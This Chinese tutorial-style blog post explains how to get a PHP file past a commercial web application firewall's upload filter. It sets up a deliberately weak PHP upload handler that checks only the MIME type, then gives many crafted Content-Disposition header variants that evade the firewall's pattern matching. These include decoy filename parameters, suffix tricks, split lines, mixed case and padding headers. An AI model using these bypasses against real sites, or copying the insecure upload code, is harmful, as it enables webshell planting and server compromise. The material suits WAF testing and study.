这里总结下关于waf中那些绕过文件上传的姿势和尝试思路

环境 apache + mysql +php

waf:某狗waf

这里写了一个上传页面

<html>
<body> <form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form> </body>
</html>
<?php
error_reporting(0);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")))
//&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "Invalid file";
}
?>

一般上传 肯定是拦截的

那么接下来就是对绕过waf的一些姿势和思路

1.增大文件大小

测试发现 waf对于Content-Disposition字段的 长度验证不是很准确,因为我们可以想到它进行拦截的规则肯定是基于正则,那么我们想办法让安全狗拦截的正则匹配不到即可

这里对这个字段的长度进行篡改

2.对文件名动手脚

我们在上传时候通常会把文件名后缀和解析漏洞,那么waf对于filename参数后的值的文件名后缀肯定是要正则去匹配的 这样正常上传肯定不行

那么绕过之前我们猜想,第一个它可能是对filename这样的键值对进行匹配,例如"ket = val"这样的键值对 那么这里我们就是filename=“php.php”

那这里把双引号去除,扰乱匹配,发现还是不行

那么我们可不可以多一个filename,因为文件在接收上传文件名时取的是最后一个filename,那么我们在最后一个filename参数前加一些干扰的filename参数试试

发现还是不行  那么这里就知道他是对所有filename参数进行检测  那么我们能不能把前面的filename参数去掉值呢

Content-Disposition: form-data; name="file"; filename= ;  filename="php.php"

成功上传

3、对文件后缀名动手脚

我们在上传是通常会配合解析漏洞,例如1.asp;.jpg  我们想到 也可以构造一样的文件名进行干扰 例如

Content-Disposition: form-data; name="file";  filename=php.php;.jpg

我们也可以在其中添加空白符、换行符等进行干扰,一样可以达到效果

Content-Disposition: form-data; name="file";  filename="php

截断也是可以哒

4、对filename动手脚

这里可以让waf对filename这个字符串匹配不到,但是服务器又可以接收,大家都应该想到了加入换行这类的干扰

Content-Disposition: form-data; name="file";  filen
ame="php.php"
Content-Type: image/gif

断开“=”也是可以的

Content-Disposition: form-data; name="file";  filename=
"php.php"
Content-Type: image/gif

5.对匹配的字段动手脚

我们的filename参数是在post包中的 Content-Disposition 字段,那么waf也是先匹配到这个http头在对内容进行检测,我们可以尝试对这个头的特征进行修改

原:

Content-Disposition: form-data; name="file"; filename="php.php"

我们尝试去掉这个form-data    (form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-data,apache也接受。)

Content-Disposition: name="file"; filename="php.php"

成功上传

我们也可以对该字段进行参数污染,填入一些不相关的值来进行干扰

Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="BBBBBBBB"; name="file";  filename="php.php"

也是可以上传的

那么这里让他匹配不到这个http头的方法还有很多 比如改一下大小写

COntEnT-DIsposiTiOn: form-data; name="file"; filename="php.php"

还可以在这个头上下文加额外的头进行干扰

Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif

在这个http头上面加额外的字符、filename

AAAAAAAA:filename="secquan.jpg";
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif

加一些头

Content-Length: 253
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: image/gif

这些思路也可以用在其他waf上面~~更多的大家可以自己fuzz 惊喜多多~

过waf实战之文件上传bypass总结的更多相关文章

  1. 文件上传bypass安全狗

    0x00 前言 本文首发于先知社区:https://xz.aliyun.com/t/9507 我们知道WAF分为软WAF,如某狗,某盾等等:云WAF,如阿里云CDN,百度云CDN等等:硬WAF,如天融 ...

  2. Selenium2学习-039-WebUI自动化实战实例-文件上传下载

    通常在 WebUI 自动化测试过程中必然会涉及到文件上传的自动化测试需求,而开发在进行相应的技术实现是不同的,粗略可划分为两类:input标签类(类型为file)和非input标签类(例如:div.a ...

  3. [实战]MVC5+EF6+MySql企业网盘实战(18)——文件上传,下载,修改

    写在前面 经过一段时间的秀秀改改,终于把文件上传下载,修改文件夹文件名称的功能实现了. 系列文章 [EF]vs15+ef6+mysql code first方式 [实战]MVC5+EF6+MySql企 ...

  4. [实战]MVC5+EF6+MySql企业网盘实战(7)——文件上传

    写在前面 周末了,在家继续折腾网盘,今天实现网盘文件的上传. 系列文章 [EF]vs15+ef6+mysql code first方式 [实战]MVC5+EF6+MySql企业网盘实战(1) [实战] ...

  5. HttpApplication实战大文件上传 (第四篇)

    一.Asp.net中的文件上传 在Asp.net 1.1中,文件在上传过程中将被全部保存在内存中,对于大文件来说,会造成内存空间的过度使用,可能会招致恶意攻击.为了解决这个问题,Asp.net在配置文 ...

  6. Egg.js学习与实战系列 · 文件上传配置

    在使用Egg.js搭建文件上传服务时,遇到了几个一般新手都会遇到的坑. 经查阅官方文档,Egg框架中默认使用egg-multipart插件进行文件上传,所以上传文件前需要做相关的配置. 上传文件提示: ...

  7. 关于Safe DOG的文件上传bypass

    Author:倾旋payloads@aliyun.com本文由科拉实验室成员倾旋原创文章 Part 1 分析 此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么 ...

  8. 文件上传bypass jsp内容检测的一些方法

    bx2=冰蝎2 前段时间渗透遇到了个检测jsp内容的,然后发现全unicode编码就可以绕过,但是对bx2马进行全编码他出现了一些错误,我尝试简单改了下,日站还是bx2操作舒服点 检测内容的话,这样直 ...

  9. 文件上传和WAF的攻与防

    Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...

随机推荐

  1. Java测试(二)

    一.选择题(每题2分,共40分) 1.下面哪个是Java语言中正确的标识符(C ) a)      3com        b)import        c)that d)this 2.下面哪个语句 ...

  2. yolo进化史之yolov3

    yolov3的论文写的比较简略,不看yolov1,yolov2很难直接看懂. 建议先看v1,v2论文. yolov3主要做了几点改进 改进了特征提取部分的网络结构 多尺度预测 分类由softmax改为 ...

  3. 定义一个Person类,其中包括:1.定义属性:姓名、年龄、民族作为成员变量。定义静态成员变量:人数2.定义构造方法:对成员变量进行初始化。3.定义多个方法:分别显示相应的属性值,例如getName(){System.out.print("名称="+name+";"); }4.定义一个方法“成长”:实现年龄的增加,每执行一次年龄增加1

    题目显示不全,完整题目描述: (1)定义一个Person类,其中包括:1.定义属性:姓名:年龄:民族作为成员变量.定义静态成员变量:人数2.定义构造方法:对成员变量进行初始化.3.定义多个方法:分别显 ...

  4. TestNG(七)组测试

    package com.course.testng.groups; import org.testng.annotations.AfterGroups; import org.testng.annot ...

  5. Java8虚拟机(JVM)内存溢出实战

    前言 相信很多JAVA中高级的同学在面试的时候会经常碰到一个面试题 你是如何在工作中对JVM调优和排查定位问题的? 事实上,如果用户量不大的情况下,在你的代码还算正常的情况下,在工作中除非真正碰到与J ...

  6. NN and the Optical Illusion-光学幻觉 CodeForce1100C 几何

    题目链接:NN and the Optical Illusion 题目原文 NN is an experienced internet user and that means he spends a ...

  7. 导出wordpress数据库Fatal error: Cannot 'break' 2 levels

    今天我打算备份一下我在Linux下用宝塔面板搭建的phpmyadmin导出wordpress数据库.选择数据库后给我一个Fatal error: Cannot 'break' 2 levels in ...

  8. electron教程(一): electron的安装和项目的创建

    我的electron教程系列 electron教程(一): electron的安装和项目的创建 electron教程(二): http服务器, ws服务器, 进程管理 electron教程(三): 使 ...

  9. Python 设计和历史的 27 个问题

    花下猫语: 先祝大家假期快乐!今天,我要分享一篇长文,选自 Python 的官方文档.它列举了 27 个设计及历史的问题,其中有些问题我曾经分享过,例如为什么使用显式的 self.浮点数的问题.len ...

  10. springboot值mybatis 别名等配置

    在application配置文件中添加如下: mybatis: #该配置替换在sql-config-map中的typeAliases配置 type-aliases-package: com.ww.ww ...